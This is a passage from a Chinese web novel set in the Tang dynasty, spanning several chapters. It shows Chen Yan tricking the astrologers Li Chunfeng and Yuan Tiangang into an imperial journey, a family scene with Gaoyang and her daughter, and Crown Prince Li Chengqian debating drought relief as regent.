“这件事我们答应了,来,喝茶。” 陈衍不置可否,也不点破两人的心思,欣然端起茶杯喝了起来。 “对了,陈先生,你不是要去治疗陛下了吗?今天陛下都宣布让太子监国了,怎么突然想到要出去踏青?”李淳风还有些怀疑,暗搓搓地试探。 陈衍不动声色道:“就是因为要去治疗陛下,所以才要出去踏青啊。” “要不然我离开那么长时间,我家的公主殿下能乐意吗?肯定要好好陪陪她们,你说是不?” “这样啊......”李淳风总感觉哪里有些不对,但又不知道什么地方不对。 陈衍的话听起来,好像确实没什么问题,逻辑都说得通。 至于李世民中毒一事......他们跟别人不同,是有些相信的。 多的他们也不愿意去了解。 细细琢磨片刻,李淳风依然没感觉有哪里说不通,索性就不想了。 相信陈衍这次应该没打算坑他们。 “那就恭敬不如从命了。” 李淳风问道:“对了,陈先生打算什么时候出去踏青?” 谈起这个,陈衍气定神闲道:“你们也知道,我即将离开,陛下的毒拖不得,所以我打算初五就走。” “早去早回嘛。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“等初五那天早上,你们直接来家里找我就好了。” “行,没问题。”李淳风一口答应下来。 时间越近,他便越放心。 “那就这么说定了哈,你们到时候记得早点过来,否则我可不等你们。”陈衍笑着说了一句。 这句话,彻底打消了李淳风心里最后一丝怀疑,拱手道:“放心,既然是陈先生相邀,我二人定然准时赴约。” “不错!”袁天罡轻轻点头,“就是不知,陈先生打算去哪里?” “最近不是秋收了吗?”陈衍笑吟吟道:“我知道一个好地方,有山有水,还有农田。” “我们正好去看看百姓今年的秋收情况如何,你们觉得怎么样?” 李淳风听后,心里莫名涌现出一股亏欠感。 原来陈衍是真的想出去玩玩,而且玩的时候还不忘观察民情。 自己竟然这么怀疑他,属实不该啊! 这时,陈衍似乎感觉自己踩到了什么,低头抬脚一看,“咦,这里怎么有一枚铜钱?” 他说着,注意到了桌上的龟甲,面色古怪道:“你们刚刚这是......在起卦?” 李淳风一本正经道:“陈先生,你知道的,我跟袁兄两个人没什么别的爱好,就爱算点卦,所以您不必在意这些东西。” “那我是不是打扰你们了?”陈衍挑眉,捡起地上的铜钱,放在桌上:“你看,它都掉到地上了。” “对了,你们算出来什么了?” “.......” 喜欢我让高阳扶墙,高阳为我痴狂请大家收藏:()我让高阳扶墙,高阳为我痴狂更新速度全网最快。 第677章 你换两个人坑行不行? 七月初五,易出行。 清晨时刻,李淳风和袁天罡便来到了陈府。 此时,陈衍一家早就准备得差不多了。 他们并未带太多东西,除了一家人乘坐的马车,还有一辆马车用来给随行的香岚和青儿坐,最后还有两辆车装着行李。 薛礼帮陈衍一家驾车。 至于魏王......昨天就跑回宫了,说要跟李世民一起走。 此时,李淳风两人看到这场景,没觉得有什么奇怪的,毕竟陈衍身份特殊,两位妻子更特殊嘛。 出去踏青,多带些东西很正常...... 个鬼啊! 谁家踏青装两辆马车的行李? 陈衍掀开车帘,对着两人喊道:“二位,你们还在等什么?快上车!” “自己随便找位置坐就行了,还有人等我们呢。” 李淳风和袁天罡惊疑不定,心里隐隐有些开始怀疑了起来。 但来都来了。 无论陈衍想干啥,总得去看看。 而后,两人便在后面随便找了辆马车坐了上去。 薛礼驾车在前面,领着车队一路出发,目标直奔长安都亭驿站。 这是他们跟李世民约定好出发的位置。 “夫君,你该不会是忽悠他们两个过来吧?”李丽质方才把李淳风和袁天罡的表情都看在眼里,想起从前陈衍忽悠这两人的件件事,有些好笑。 “怎么可能?”陈衍一本正经道:“太史令与国师,那可是我的至交好友,我怎么可能忽悠他们?” “不可能的!” 高阳撇撇嘴,才不相信陈衍的鬼话。 “爹~爹爹~” 怀里的小岁安又不老实了起来,伸着肉嘟嘟的小手就要去陈衍那边。 “爹爹爹,你就知道爹!” “眼里还有我这个娘吗?” 高阳没好气地说了一句,抱着女儿把她塞进陈衍怀里。 “去去去,找你爹去,我还懒得抱你呢。” 陈衍乐呵呵地接过女儿,对高阳语气中的幽怨视而不见。 小家伙眉开眼笑地趴在陈衍怀里,用自己嫩得能掐出水的小脸蛋蹭着自家老爹的胸口,陈衍配合地让她蹭,让小家伙开心得不得了。 “姐姐,你看你看!”高阳抱怨道:“这我们还给他生个屁的孩子,果然是随他姓陈的,一点都不亲咱们姓李的!” “小没良心的。” 李丽质捂嘴轻笑,眼底早已没有了从前隐藏极深的羡慕。 她跟陈衍这几个月已经在努力,只是自己的肚子实在不争气,一直没怀上。 不过她倒也不急,因为陈衍已经答应她要孩子了。 她还年轻,总会有自己的孩子的。 “娘~” 忽然,小岁安歪着小脑袋看高阳,软软甜甜地叫了一声。 女儿的一句“娘”,一瞬间击中了高阳的心,让她本来想再说两句抱怨的话卡在了嘴边,再也说不出口了。 小岁安已经一岁多啦,虽然还没有完全学会说话,可走一段距离,叫爹娘肯定是学会了的。 只是学会叫娘亲有点晚罢了。 高阳定定望着自己辛辛苦苦怀胎十月,从鬼门关走一遭生下来的女儿,听着女儿的叫声,心仿佛在顷刻间被什么填满。 暖暖的,满满的。 说不清,道不明。 高阳朱唇微动,似乎想说些什么,但却没说出口,故作平静地微微颔首,轻轻“嗯”了一声。 小岁安睁着大眼睛,清澈的眸子看了看陈衍,又看了看高阳,忽然就笑了。 “哈哈哈哈!” 陈衍忍不住乐道:“乖女儿,你看你娘还装上了。” “她叫你快半年的娘,现在你叫她一句,她表面上淡定得很,其实心里不知道多高兴呢。” “给她美死了都!” 高阳气恼地给了陈衍一锤,这更惹得后者笑得大声了。 小岁安不太明白发生了什么,可看见爹爹笑,她也跟着笑。 外面,驾车的薛礼听着里面一家人的笑声,有些郁闷。 我是不是该找个媳妇了? 想着,薛礼摇摇头,继续专心赶车了。 很快,他们便来到了长安都亭驿站。 此时,李世民跟李泰已经在这里等着他们了。 他们也带了四辆马车,看起来也没带多少东西,人同样没带多少,周围有十位乔装过的护卫。 李君羡和无舌坐在外面驾车。 薛礼停下马车,急忙想跟李世民行礼,忽然又不知道该称呼什么了。 李世民掀开车帘,示意他不用多礼。 而后,陈衍从车里探出脑袋:“陛下,咱们怎么走啊?” 李世民淡淡道:“走两京驿道,东出春明门,沿着官道经灞桥、临潼、渭南,到达华州,然后继续东行至潼关。” “直到行至洛阳,再转水路。” 陈衍眉头微皱,竟然不是一开始从渭南县或者其他地方走水路吗? 看来李世民是真的想要去下面看看,路上估计要耽搁不少时间。 “好,那您走前面,我们跟着你。” 李世民没回答他,顺着他的车窗,看了眼里面的李丽质和高阳,随后目光往后移,看到了一脸呆滞的李淳风和袁天罡,顿时一怔。 陈衍还把这两人带上了? 袁天罡和李淳风人都傻了。 这怎么还有陛下呢? 真的是去踏青吗? 不是说好了中毒,需要调养身体吗? “太史令,国师!” 李世民笑道:“子安竟然把你们给带上了。” “不过这样也好,倘若有你们在的话,这一路上说不定能少许多麻烦事。” “正好,这两年你们确实辛苦了,就跟我们走一趟吧。” 李淳风和袁天罡一脸茫然。 一路上? 这要一到哪里去? 他们刚想开口询问,没想到李世民轻轻一挥手:“好了,既然人都已经到齐了,那就先走吧,别耽误时辰了。” 说完,他放下车帘,命令李君羡赶车。 陈衍回头,对李淳风和袁天罡笑了一下,便立马缩了回去。 一个车队,八辆马车,当即行动了起来。 坐在后面的袁、李二人不禁沉默了许久。 “袁兄,我感觉我们又被忽悠了。” “又巧了,我也是。” 两人对视一眼,简直欲哭无泪啊。 太踏马坑了啊。 你换两个人坑行不行? 别老盯着我们了。 现在李世民发话,他们即便想跑都跑不了。 糟心啊! “......” 喜欢我让高阳扶墙,高阳为我痴狂请大家收藏:()我让高阳扶墙,高阳为我痴狂更新速度全网最快。 第678章 李承乾:刚监国,你给我来灾情? 与此同时,在李世民和陈衍他们离开之后,朝堂上,李承乾也开始自己的监国职责。 此时,太极殿内。 正中央的御座上是空着的,象征着李世民虽然不在,但威仪仍在。 李承乾身为监国太子,座位设立在御座东侧,面向西。 这符合《礼记》中‘太子监国,西宫’的礼仪,表示他虽是代理,但仍是臣子身份,不僭越正位。 说起来,这倒也不是李承乾第一次监国了,从前还有过一次。 所以,李承乾坐上来时,心里难免有些激动,可依然很镇定地面对百官行礼,举手投足间,挑不出半点毛病。 “诸位,陛下身体有恙,需要陈尚书帮忙调理,故此,这段时间会由孤监国,三位宰相辅之。” “这件事,想必已经不用多提了。” “在陛下回来之前,今后一切奏章、文书,皆送往东宫,由孤批复。” “诸位可明白?” “臣等,明白。”百官异口同声道。 “好。”李承乾平静道:“既然如此,废话就不用多提了,诸位可有事上奏?” “殿下.......” 紧接着,不少官员轮番上奏,倒也不是什么大事,就是日常的琐事,有些值得被拿出来提一提的罢了。 李承乾很早之前就开始帮忙批复奏章,应对这些事自然是得心应手,丝毫不见慌乱。 朝会与以往相比,除了少了李世民和陈衍,似乎跟从前没什么区别。 到了后面,李承乾刚解决完一位官员的事,房玄龄忽然站了出来:“殿下,臣有一事。” “哦?”李承乾有些诧异,但没多想,认真道:“房公有何事?” 房玄龄有些郁闷:“殿下,是这样的,今日一早,一封奏章从下面传了上来,山东等少部分地区出现了一定程度的旱灾,有一部分百姓种下的粮食因缺水导致枯死。” “这眼看就要秋收了,百姓一年到头,就指望着地里那些粮食度日。” “如今没了收成,这些出现旱灾的地区百姓,怕是很难度过今年冬日了。” “故此,臣恳请殿下早做打算才行。” 李承乾嘴角忍不住扯了扯,总算明白为什么房玄龄的语气有些郁闷了。 监国第一天,有这样一份出现旱灾的奏章递上来,而且还是在大清早,李世民刚离开之后。 这不管是对朝廷还是对他来说,都不是一件好事。 马周等户部官员当即挺直了身子,预感到了不妙,眼神开始警惕起来,已经默默开始打腹稿了。 户部嘛,日常罢了! 李承乾心里叹了口气,很清楚事已至此,就看他怎么处理了。 他抬首道:“那依房公所见,此事该怎么处理为好?” “自然是赈灾。”房玄龄言简意赅,并未多说。 李承乾瞬间便明白了对方的意思,但他没有说,而是转头看向其他人:“赈灾,肯定是要赈的。” “但什么时候赈,怎么赈,是一个问题。” “诸位可有赈灾良策?” 孙伏伽沉吟道:“按照房公的意思,山东地区的旱灾应该并不是特别严重,臣认为,应当由户部提供赈灾粮,尽快押送赈灾粮前往山东干旱地区,带领当地官府安抚民心,提供必要的生存物资,帮助百姓度过此次困难。” “否则,一旦旱灾影响扩大,导致百姓不得不成为流民,一来对朝廷不利,二来若有人饿死,还可能引发疫病。” “所以绝不可大意。” 众多官员听到这些话,不得不为孙伏伽的说法感到佩服。 你说孙伏伽的话多有道理。 那不见得。 因为里面很多话都是废话。 往常那次赈灾,不管灾情严不严重,不都是这样做的? 问题的关键是什么? 关键在于,户部出钱啊! 这他娘才是真正的关键。 马周淡淡道:“殿下和孙大人说得对,既然山东地区出现了旱灾,朝廷自然不能坐视不理。” “户部拿出赈灾粮,这本来就是应该的。” “不过,户部的钱粮不是无限的,而是有限的,赈灾不能乱赈,更不能在听闻灾情出现,便立马火急火燎地调动物资。” 李承乾问道:“马侍郎有何建议?” 马周上前一步,作揖道:“臣建议殿下不必着急,应先以最快的速度查清楚山东具体哪些地方出现了旱灾,灾情如何,有多少百姓家里的粮食颗粒无收。” “然后根据受灾百姓的数量,决定调用多少物资,并挑选出一位钦差监管,避免有人贪污赈灾粮,或当地未受灾的百姓冒领赈灾粮。” 此话一出,得到了不少官员的认可。 马周说的不错,赈灾不是乱赈,不能一时着急,就失了分寸。 他们其实也能理解。 户部今年真的干了不少大事,拿出了太多钱粮。 朝廷的钱粮,不能被糟蹋了,得想办法送到那些真正的受灾百姓手里才是。 李承乾微微颔首:“马侍郎所言在理,关于赈灾所需的钱粮,你们户部先调动一小部分物资过去,解了当地燃眉之急,同时调查清楚当地的具体情况。” “我们再决定第二批赈灾款的数额,诸位觉得如何?” “太子殿下英明!” 众官员再度异口同声,李承乾的方法获得了他们的认可。 “很好。”李承乾脸上露出了一丝笑容:“既然赈灾所需的流程已经说完了。” “咱们继续说说赈灾的方法。” 方法? 此言一出,不少官员疑惑。 怎么还有方法? 不是已经都决定好了吗? 只有房玄龄等少部分人,心下了然。 李承乾轻声道:“以前朝廷赈灾,总是无条件地给予,这尽管解决了受灾百姓的困境,但不管对于朝廷,还是百姓来说,这实际上都不是一件好事。” “一旦出现灾情,百姓为什么想着要往长安跑?” “因为这里是大唐国都,是大唐的政治中心,是朝廷的中央所在地。” “所以,百姓们养成了遇到灾难,就往长安跑的习惯,他们很清楚我们不会放弃他们,对他们视而不见。” “自古以来似乎都是如此,从前孤也没觉得这有什么不对的。” “毕竟,咱们取之于民,自当用之于民嘛。” 说到这里,李承乾顿了顿:“直到后来,陈尚书跟孤说了一个词。” “它叫以工代赈!” “......” 喜欢我让高阳扶墙,高阳为我痴狂请大家收藏:()我让高阳扶墙,高阳为我痴狂更新速度全网最快。